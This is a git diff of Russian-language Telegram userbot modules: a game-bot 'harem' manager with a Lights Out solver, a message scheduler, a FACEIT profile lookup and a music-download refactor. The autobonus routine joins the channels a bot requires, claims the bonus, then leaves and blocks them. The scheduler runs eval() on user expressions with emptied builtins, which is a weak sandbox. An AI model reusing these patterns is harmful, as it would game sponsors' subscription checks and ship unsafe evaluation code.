self.config["whitelist-chats"]: + return + elif chatid in self.config["ignore-chats"]: + return + if (not self.get(f"catcher_time-{bot}") or int(time.time()) - int(self.get(f"catcher_time-{bot}")) > 14400): + if "заблудилась" in message.text.lower(): + try: + await message.click() + await asyncio.sleep(5) + msgs = await message.client.get_messages(chatid, limit=10) + for msg in msgs: + if msg.mentioned and "забрали" in msg.text and msg.sender_id == self.harems_ids[bot]: + if self.get(f"out-{bot}", None): + match = re.search(r", Вы забрали (.+?)\. Вайфу", msg.text) + waifu = match.group(1) + caption = f"{waifu} в вашем гареме! 😎" + await self.client.send_file(self.harems[bot], caption=caption, file=message.media) + self.set(f"catcher_time-{bot}", int(time.time())) + except Exception as e: + logger.error(f"Ошибка при ловле вайфу для {bot}(не критично): {e}") + + + def _main_markup(self): + return [ + [ + { + "text": "[✔️] Horny Harem" if self.get("ab-horny") else "[❌] Horny Harem", + "callback": self.callback_handler, + "args": ("horny",) + }, + { + "text": "[✔️] Waifu Harem" if self.get("ab-waifu") else "[❌] Waifu Harem", + "callback": self.callback_handler, + "args": ("waifu",) + }, + ], + [ + { + "text": "[✔️] Gif Harem" if self.get("ab-gif") else "[❌] Gif Harem", + "callback": self.callback_handler, + "args": ("gif",) + } + ], + [ + { + "text": "🔻 Закрыть", + "action": "close", + } + ] + ] + + def _menu_markup(self, bot): + markup = [[],[]] + markup[0].append({ + "text": "[✔️] Автобонус" if self.get(f"ab-{bot}", None) else "[❌] Автобонус", + "callback": self.callback_handler, + "args": (f"ab-{bot}",) + }) + if "waifu" not in bot: + markup[0].append({ + "text": "[✔️] Автоловля" if self.get(f"catch-{bot}", None) else "[❌] Автоловля", + "callback": self.callback_handler, + "args": (f"catch-{bot}",) + }) + markup[1].append({ + "text": "[✔️] Вывод от ловца" if self.get(f"out-{bot}", None) else "[❌] Вывод от ловца", + "callback": self.callback_handler, + "args": (f"out-{bot}",) + }) + markup.append([ + { + "text":"🔁 Перезапустить автобонус", + "callback": self.callback_handler, + "args": (f"restart-{bot}",) + }, + ]) + markup.append([ + { + "text":"↩️ Назад", + "callback":self.callback_handler, + "args": ("back",) + } + ]) + return markup + + async def _set_menu(self, message): + await utils.answer( + message, + f"❤️ Выберите бота для управления\n\n✅ - означает, что автобонус включён\ +\n\nБольше настроек в конфиге модуля({self.get_prefix()}config HaremManager)", + reply_markup=self._main_markup() + ) + + async def callback_handler(self, call, data): + if data == "back": + await self._set_menu(call) + return + elif data.startswith("restart-"): + bot = data.split("-")[-1] + await call.answer(f"Перезапуск бонуса для {self.harems[bot]}...") + await self._autobonus(self.harems[bot], bot) + return + elif data.startswith("ab-"): + bot = data.split("-")[-1] + self.set(data, not self.get(data, None)) + await utils.answer(call, f"Меню {self.harems[bot]}", reply_markup=self._menu_markup(bot)) + elif data.startswith("catch-"): + bot = data.split("-")[-1] + self.set(data, not self.get(data, None)) + await utils.answer(call, f"Меню {self.harems[bot]}", reply_markup=self._menu_markup(bot)) + elif data.startswith("out-"): + bot = data.split("-")[-1] + self.set(data, not self.get(data, None)) + await utils.answer(call, f"Меню {self.harems[bot]}", reply_markup=self._menu_markup(bot)) + else: + bot = data + await utils.answer(call, f"Меню {self.harems[bot]}", reply_markup=self._menu_markup(bot)) + + async def _autobonus(self, id, bot): + wait_boost = False + async with self._client.conversation(id) as conv: + try: + await conv.send_message("/bonus") + except YouBlockedUserError: + await self.client(UnblockRequest(id)) + await conv.send_message("/bonus") + r = None + try: + r = await conv.get_response(timeout=5*60) + except: + tryings = 5 + while tryings > 0: + tryings -= 1 + try: + await conv.send_message("/bonus") + r = await conv.get_response(5*60) + break + except: + pass + if r is None: + logger.warning("Ответ от бота не получен. Вероятно, он снова лёг\n\nПерезапустите автобонус, когда бот очнётся") + self.set(f"ab-{bot}", False) + return + self.set(f"ab-t-{bot}", int(time.time())) + if "Доступен бонус за подписки" in r.text: + await conv.send_message("/start ad_bonus") + r = await conv.get_response() + if "проверка пройдена" not in r.text: + to_leave, to_block, folders, chats_in_folders = [], [], [], [] + wait_boost = False + if r.reply_markup: + a = r.buttons + for i in a: + for button in i: # каждая кнопка... + if button.url: + alr = False # "уже зашёл" + if "addlist/" in button.url: # добавление папок + slug = button.url.split("addlist/")[-1] + peers = await self.client(CheckChatlistInviteRequest(slug=slug)) + if peers: + peers = peers.peers + try: + a = await self.client(JoinChatlistInviteRequest(slug=slug, peers=peers)) + chats_in_folders.append(peers) # для выхода + for update in a.updates: + if isinstance(update, UpdateDialogFilter): + folders.append(InputChatlistDialogFilter(filter_id=update.id)) # для удаления папки + except: pass + continue + if "t.me/boost" in button.url: # бустить не обязательно + wait_boost = True + continue + if not bool(re.match(r"^https?:\/\/t\.me\/[^\/]+\/?$", button.url)): # дополнительные вложения отметаем + continue + if "t.me/+" in button.url: # приватные чаты + try: + a = await self.client(CheckChatInviteRequest(button.url.split("+")[-1])) + if not hasattr(a, "request_needed") or not a.request_needed: # получить айди приватного чата/канала с приглашениями без входа невозможно + pass + else: + url = button.url.split("?")[0] if "?" in button.url else button.url + try: + await self.client(ImportChatInviteRequest(button.url.split("+")[-1])) + except InviteRequestSentError: pass + await asyncio.sleep(3) + try: + entity = await self.client.get_entity(url) + except ValueError: + try: + await asyncio.sleep(15) + entity = await self.client.get_entity(url) + except: + continue + except: + pass + alr = True + except: continue + url = button.url.split("?")[0] if "?" in button.url else button.url + if not alr: + try: + entity = await self.client.get_entity(url) + except: + entity = (await self.client(ImportChatInviteRequest(button.url.split("+")[-1]))).chats[0] #gotten class Updates + alr = True + if hasattr(entity, "broadcast"): + if not alr: + await self.client(JoinChannelRequest(button.url)) + to_leave.append(entity.id) + else: + to_leave.append(entity.chat.id) if hasattr(entity,"chat") else to_leave.append(entity.id) if hasattr(entity,"id") else None + elif hasattr(entity, "bot"): + username = entity.username if entity.username is not None else entity.usernames[0].username + try: + await self.client(UnblockRequest(username)) + except: print("блин") + await self.client.send_message(entity, "/start") + to_block.append(username) + flyer_messages = await self.client.get_messages(id, limit=1) + if wait_boost: + await asyncio.sleep(150) + for m in flyer_messages: + await asyncio.sleep(5) + await m.click(-1) + await asyncio.sleep(5) + for folder, chats in zip(folders, chats_in_folders): + await self.client(LeaveChatlistRequest(peers=chats, chatlist=folder)) + for bot in to_block: + await self.client(BlockRequest(bot)) + await self.client.delete_dialog(bot) + for channel in to_leave: + try: + await self.client(LeaveChannelRequest(channel)) + except Exception as e: + pass + count = 0 + if not self.get(f"last_lout-{bot}") or int(time.time()) - self.get(f"last_lout-{bot}") > 43200: + while count <= 3: # на всякий случай 4 попытки. Бот может забагаться и не выдать завершающий ответ + await conv.send_message("/lout") + r = await conv.get_response() + if r.reply_markup: + pattern = self._parse(r) + clicks = self._solution(pattern) + for i in range(len(clicks)): + if clicks[i] == 1: + await r.click(i) + self.set(f"last_lout-{bot}", int(time.time())) + count += 1 + else: + break + + def _parse(self, r): + a = r.buttons + pattern = [] + for i in a: + for m in i: + t = m.text + if t == "🌚": + pattern.append(0) + elif t == "🌞": + pattern.append(1) + else: + pass + return pattern + + def _solution(self, pole): + n = len(pole) + for num in range(2**n): + binary_string = bin(num)[2:].zfill(n) + presses = [int(char) for char in binary_string] + temp = pole[:] + + for i in range(n): + if presses[i]: + temp[i] ^= 1 + if i % 3 > 0: temp[i - 1] ^= 1 + if i % 3 < 2: temp[i + 1] ^= 1 + if i >= 3: temp[i - 3] ^= 1 + if i < 6: temp[i + 3] ^= 1 + + if sum(temp) == 0: + return presses + + return None + + @loader.command() + async def Harems(self, message): + """Открыть меню управления""" + await self._set_menu(message) + + @loader.command() + async def lightsout(self, message): + """[ответ на соо с полем] Автоматически решает Lights Out""" + if message.is_reply: + r = await message.get_reply_message() + if r.reply_markup: + pattern = self._parse(r) + else: + await utils.answer(message, "❗️ Не вижу поля игры. Это точно то сообщение?") + return + + else: + + await utils.answer(message, "❗️ Пропиши команду в ответ на игру.") + return + if pattern: + await utils.answer(message, "💡") + clicks = self._solution(pattern) + if not clicks: + await utils.answer(message, "Иди код трейси гений.") + return #*смачный пинок кодеру под зад.* + for i in range(len(clicks)): + if clicks[i] == 1: + await r.click(i) + await utils.answer(message, "😎 Готово.") + else: + await utils.answer(message, "❗️ Ты ответил не на поле игры.") + return diff --git a/ZetGoHack/nullmod/SchedulePlus.py b/ZetGoHack/nullmod/SchedulePlus.py new file mode 100644 index 0000000..dd8a6b7 --- /dev/null +++ b/ZetGoHack/nullmod/SchedulePlus.py @@ -0,0 +1,82 @@ +__version__ = (1,1,1) +#░░░███░███░███░███░███ +#░░░░░█░█░░░░█░░█░░░█░█ +#░░░░█░░███░░█░░█░█░█░█ +#░░░█░░░█░░░░█░░█░█░█░█ +#░░░███░███░░█░░███░███ + +# Team: 'H:Mods' +# meta developer: @nullmod + + +from .. import loader, utils +import re +from datetime import datetime, timedelta, timezone + + +@loader.tds +class SchedulePlus(loader.Module): + """Планирование периодичных сообщений""" + strings = {"name": "SchedulePlus", + "no_args": "❌ Invalid arguments", + "too_many": "❌ Maximum number of scheduled messages is 100.", + "scheduled": "✈️ Messages will be scheduled"} + + strings_ru = {"name": "SchedulePlus", + "no_args": "❌ Неверные аргументы", + "too_many": "❌ Максимальное число отложенных сообщений - 100.", + "scheduled": "✈️ Сообщения будут запланированы"} + + @loader.command() + async def sch(self, message): + """Используй .sch <периодичность в секундах> <количество отправок> <текст/содержимое из ответа> + +Проф. режим: .sch 15 3 test{x=1;x*2}/{y=0;y+1} +Запланирует три сообщения: test2/1, test4/2, test8/3""" + args = utils.get_args_raw(message.text).split(' ', 2) + resp = (await message.get_reply_message()) if len(args) < 3 and message.is_reply else message + if not resp or not args[0].isdigit() or not args[1].isdigit(): + return await utils.answer(message, self.strings["no_args"]) + + interval, count, text = int(args[0]), int(args[1]), args[2] if len(args) > 2 else resp.text + if count > 100: + return await utils.answer(message, self.strings["too_many"]) + + chat_id = message.chat_id + reply_message_id = resp.reply_to.reply_to_msg_id if resp.reply_to else None + await utils.answer(message, self.strings["scheduled"]) + + variables = {} + + for i in range(count): + send_time = datetime.now(timezone.utc) + timedelta(seconds=interval * i) + formatted_text = self.process_text(text, variables) + await self.client.send_message(chat_id, formatted_text, file=resp.media, schedule=send_time, reply_to=reply_message_id) + + def process_text(self, text, variables): + """Process text okay?""" + def replace_match(match): + return self.eval_expr(match.group(1), variables) + + return re.sub(r"\{(.*?)\}", replace_match, text) + + def eval_expr(self, expr, variables): + """eval()""" + parts = expr.split(";") + last_value = None + var_name = None + for part in parts: + part = part.strip() + if "=" in part and part.count("=") == 1: + var, value = part.split("=") + var = var.strip() + if var not in variables: + variables[var] = eval(value, {"__builtins__": {}}, variables) + last_value = variables[var] + var_name = var + else: + last_value = eval(part, {"__builtins__": {}}, variables) + + if var_name is not None: + variables[var_name] = last_value + return str(last_value) diff --git a/ZetGoHack/nullmod/full.txt b/ZetGoHack/nullmod/full.txt new file mode 100644 index 0000000..41a7a9b --- /dev/null +++ b/ZetGoHack/nullmod/full.txt @@ -0,0 +1,3 @@ +Chess +HaremManager +SchedulePlus \ No newline at end of file diff --git a/mead0wsss/mead0wsMods/MyFACEIT.py b/mead0wsss/mead0wsMods/MyFACEIT.py index 6f7f572..54e76b3 100644 --- a/mead0wsss/mead0wsMods/MyFACEIT.py +++ b/mead0wsss/mead0wsMods/MyFACEIT.py @@ -1,99 +1,99 @@ -__version__ = (1, 0, 0) - -# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ -# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ -# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ -# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ -# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ -# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ -# © Copyright 2025 -# ✈ https://t.me/mead0wssMods - -# scope: hikka_only -# scope: hikka_min 1.3.3 -# meta developer: @mead0wssMods -# meta banner: https://x0.at/Hu25.jpg - - -import requests -from telethon import events -from .. import loader, utils -from aiohttp import ClientSession -import json - -@loader.tds -class MyFACEIT(loader.Module): - """Модуль для получения информации о своем профиле FACEIT""" - strings = {"name": "MyFACEIT"} - - def __init__(self): - self.config = loader.ModuleConfig( - loader.ConfigValue( - "nickname", - "", - lambda: "Никнейм Faceit для получения информации", - validator=loader.validators.String() - ), - ) - - async def myfaceitcmd(self, event): - """- Показать информацию об своем FACEIT профиле.""" - nickname = self.config["nickname"] - - if not nickname: - await event.reply("❌ Никнейм Faceit не указан в .cfg!") - return - - async with ClientSession() as session: - async with session.get(f"https://api.faceit.com/users/v1/nicknames/{nickname}") as response: - if response.status == 200: - payload = await response.json() - payload = payload.get("payload", {}) - - gender = payload.get("gender") - user_type = payload.get("user_type") - ID = payload.get("id") - country = payload.get("country") - region = payload.get("games", {}).get("cs2", {}).get("region") - elo = payload.get("games", {}).get("cs2", {}).get("faceit_elo") - faceit_lvl_c2 = payload.get("games", {}).get("cs2", {}).get("skill_level") - twitch_id = payload.get("streaming", {}).get("twitch_id") - steam_nickname = payload.get("platforms", {}).get("steam", {}).get("nickname") - - if gender == "male": - gender = "Мужчина" - elif gender == "Female": - gender = "Женщина" - else: - gender = "*неуказано*" - - if user_type == "user": - user_type = "Пользователь" - else: - user_type = "*неуказано*" - - country_flags = { - "ru": "🇷🇺", - "eu": "🇪🇺", - "us": "🇺🇸", - "br": "🇧🇷", - "cn": "🇨🇳", - "kr": "🇰🇷", - "jp": "🇯🇵", - "au": "🇦🇺", - "ca": "🇨🇦", - "gb": "🇬🇧", - "de": "🇩🇪", - "fr": "🇫🇷", - "es": "🇪🇸", - "it": "🇮🇹", - "pl": "🇵🇱", - "tr": "🇹🇷", - } - - country_flag = country_flags.get(country.lower(), "") - region_flag = country_flags.get(region.lower(), "") - - await event.edit(f"Информация об моем FACEIT профиле:\n\n🎮 Ник: {nickname}\n\n🚻 Пол: {gender}\n\n🔍 Тип: {user_type}\n\n🆔 Faceit ID: {ID}\n\n🌍 Страна: {country_flag}\n\n🌐 Регион: {region_flag}\n\n📊 Количество ELO: {elo}\n\n⭐️ Faceit LVL: {faceit_lvl_c2}\n\n📺 Twitch ID: {twitch_id}\n\n💻 Steam: {steam_nickname}", parse_mode="html") - else: - await event.reply("❌ Ошибка при запросе к FACEIT API") +__version__ = (1, 0, 0) + +# ███╗░░░███╗███████╗░█████╗░██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗░██████╗ +# ████╗░████║██╔════╝██╔══██╗██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝██╔════╝ +# ██╔████╔██║█████╗░░███████║██║░░██║██║░░██║░╚██╗████╗██╔╝╚█████╗░╚█████╗░ +# ██║╚██╔╝██║██╔══╝░░██╔══██║██║░░██║██║░░██║░░████╔═████║░░╚═══██╗░╚═══██╗ +# ██║░╚═╝░██║███████╗██║░░██║██████╔╝╚█████╔╝░░╚██╔╝░╚██╔╝░██████╔╝██████╔╝ +# ╚═╝░░░░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░╚═╝░░╚═════╝░╚═════╝░ +# © Copyright 2025 +# ✈ https://t.me/mead0wssMods + +# scope: hikka_only +# scope: hikka_min 1.3.3 +# meta developer: @mead0wssMods +# meta banner: https://x0.at/Hu25.jpg + + +import requests +from telethon import events +from .. import loader, utils +from aiohttp import ClientSession +import json + +@loader.tds +class MyFACEIT(loader.Module): + """Модуль для получения информации о своем профиле FACEIT""" + strings = {"name": "MyFACEIT"} + + def __init__(self): + self.config = loader.ModuleConfig( + loader.ConfigValue( + "nickname", + "", + lambda: "Никнейм Faceit для получения информации", + validator=loader.validators.String() + ), + ) + + async def myfaceitcmd(self, event): + """- Показать информацию об своем FACEIT профиле.""" + nickname = self.config["nickname"] + + if not nickname: + await event.reply("❌ Никнейм Faceit не указан в .cfg!") + return + + async with ClientSession() as session: + async with session.get(f"https://api.faceit.com/users/v1/nicknames/{nickname}") as response: + if response.status == 200: + payload = await response.json() + payload = payload.get("payload", {}) + + gender = payload.get("gender") + user_type = payload.get("user_type") + ID = payload.get("id") + country = payload.get("country") + region = payload.get("games", {}).get("cs2", {}).get("region") + elo = payload.get("games", {}).get("cs2", {}).get("faceit_elo") + faceit_lvl_c2 = payload.get("games", {}).get("cs2", {}).get("skill_level") + twitch_id = payload.get("streaming", {}).get("twitch_id") + steam_nickname = payload.get("platforms", {}).get("steam", {}).get("nickname") + + if gender == "male": + gender = "Мужчина" + elif gender == "Female": + gender = "Женщина" + else: + gender = "*неуказано*" + + if user_type == "user": + user_type = "Пользователь" + else: + user_type = "*неуказано*" + + country_flags = { + "ru": "🇷🇺", + "eu": "🇪🇺", + "us": "🇺🇸", + "br": "🇧🇷", + "cn": "🇨🇳", + "kr": "🇰🇷", + "jp": "🇯🇵", + "au": "🇦🇺", + "ca": "🇨🇦", + "gb": "🇬🇧", + "de": "🇩🇪", + "fr": "🇫🇷", + "es": "🇪🇸", + "it": "🇮🇹", + "pl": "🇵🇱", + "tr": "🇹🇷", + } + + country_flag = country_flags.get(country.lower(), "") + region_flag = country_flags.get(region.lower(), "") + + await event.edit(f"Информация об моем FACEIT профиле:\n\n🎮 Ник: {nickname}\n\n🚻 Пол: {gender}\n\n🔍 Тип: {user_type}\n\n🆔 Faceit ID: {ID}\n\n🌍 Страна: {country_flag}\n\n🌐 Регион: {region_flag}\n\n📊 Количество ELO: {elo}\n\n⭐️ Faceit LVL: {faceit_lvl_c2}\n\n📺 Twitch ID: {twitch_id}\n\n💻 Steam: {steam_nickname}", parse_mode="html") + else: + await event.reply("❌ Ошибка при запросе к FACEIT API") diff --git a/unneyon/hikka-mods/yamusic.py b/unneyon/hikka-mods/yamusic.py index e21a139..b10cc7a 100644 --- a/unneyon/hikka-mods/yamusic.py +++ b/unneyon/hikka-mods/yamusic.py @@ -1,4 +1,4 @@ -__version__ = (2, 0, 0) +__version__ = (2, 0, 1) # region KAMEKURO. # █▄▀ ▄▀█ █▀▄▀█ █▀▀ █▄▀ █ █ █▀█ █▀█ # █ █ █▀█ █ ▀ █ ██▄ █ █ ▀▄▄▀ █▀▄ █▄█ ▄ @@ -31,6 +31,7 @@ import random import requests import string import textwrap +import typing from PIL import Image, ImageDraw, ImageEnhance, ImageFilter, ImageFont import telethon @@ -67,17 +68,12 @@ class Banners: bbox = draw.textbbox((0, 0), text, font=font) return bbox[2] - bbox[0], bbox[3] - bbox[1] + def new(self): W, H = 1920, 768 - title_font = ImageFont.truetype( - io.BytesIO(requests.get(self.onest_b).content), 80 - ) - artist_font = ImageFont.truetype( - io.BytesIO(requests.get(self.onest_b).content), 55 - ) - time_font = ImageFont.truetype( - io.BytesIO(requests.get(self.onest_b).content), 36 - ) + title_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 80) + artist_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 55) + time_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 36) track_cov = Image.open(io.BytesIO(self.track_cover)).convert("RGBA") banner = ( @@ -109,19 +105,19 @@ class Banners: lines = title_lines + artist_lines lines_sizes = [ self.measure( - line, artist_font if (i == len(lines) - 1) else title_font, draw + line, artist_font if (i == len(lines)-1) else title_font, draw ) for i, line in enumerate(lines) ] - heights = [h for _, h in lines_sizes] + total_sizes = [sum(w for w, _ in lines_sizes), sum(h for _, h in lines_sizes)] spacing = title_font.size + 10 - y_start = space[1] + (space[3] - space[1]) / 2 + y_start = space[1] + ((space[3]-space[1]-total_sizes[1]) / 2) for i, line in enumerate(lines): w, _ = lines_sizes[i] draw.text( - (space[0] + (space[2] - space[0] - w) / 2, y_start), + (space[0] + (space[2]-space[0]-w) / 2, y_start), line, - font=(artist_font if (i == (len(lines) - 1)) else title_font), + font=(artist_font if (i == (len(lines)-1)) else title_font), fill="#FFFFFF", ) y_start += spacing @@ -151,17 +147,12 @@ class Banners: by.name = "banner.png" return by + def old(self): w, h = 1920, 768 - title_font = ImageFont.truetype( - io.BytesIO(requests.get(self.onest_b).content), 80 - ) - art_font = ImageFont.truetype( - io.BytesIO(requests.get(self.onest_r).content), 55 - ) - time_font = ImageFont.truetype( - io.BytesIO(requests.get(self.onest_b).content), 36 - ) + title_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 80) + art_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_r).content), 55) + time_font = ImageFont.truetype(io.BytesIO(requests.get(self.onest_b).content), 36) track_cov = Image.open(io.BytesIO(self.track_cover)).convert("RGBA") banner = ( @@ -387,9 +378,7 @@ class YaMusicMod(loader.Module): ) await utils.answer(message, out + self.strings("downloading_track")) - info = await ym_client.tracks_download_info(search.tracks.results[0].id, True) - audio = io.BytesIO(requests.get(info[0].direct_link).content) - audio.name = "audio.mp3" + audio = await self.__download_track(ym_client, search.tracks.results[0].id) await utils.answer( message=message, response=out, @@ -538,12 +527,10 @@ class YaMusicMod(loader.Module): except: pass - audio = io.BytesIO(requests.get(now["track"]["download_link"]).content) - audio.name = "audio.mp3" await utils.answer( message=message, response=out, - file=audio, + file=now["track"]["bytes_io"], attributes=( [ telethon.types.DocumentAttributeAudio( @@ -653,6 +640,29 @@ class YaMusicMod(loader.Module): ) + async def __download_track( + self, + client: yandex_music.ClientAsync, + track_id: typing.Union[int, str], + link_only: bool = False, + ): + last_exception = None + for attempt in range(5): + try: + info = await client.tracks_download_info( + track_id, get_direct_links=True + ) + if link_only: + return info[0].direct_link + by = io.BytesIO(await info[0].download_bytes_async()) + by.name = "audio.mp3" + return by + except Exception as e: + if attempt != 4: + await asyncio.sleep(1) + continue + raise e + # Original code: https://raw.githubusercontent.com/MIPOHBOPOHIH/YMMBFA/main/main.py async def __get_ynison(self): async def create_ws(token, ws_proto): @@ -778,12 +788,8 @@ class YaMusicMod(loader.Module): "duration": track_object.duration_ms // 1000, "minutes": round(track_object.duration_ms / 1000) // 60, "seconds": round(track_object.duration_ms / 1000) % 60, - "download_link": ( - ( - await ym_client.tracks_download_info( - track_object.track_id, get_direct_links=True - ) - )[0].direct_link + "bytes_io": ( + await self.__download_track(ym_client, track_object.track_id) ), }, }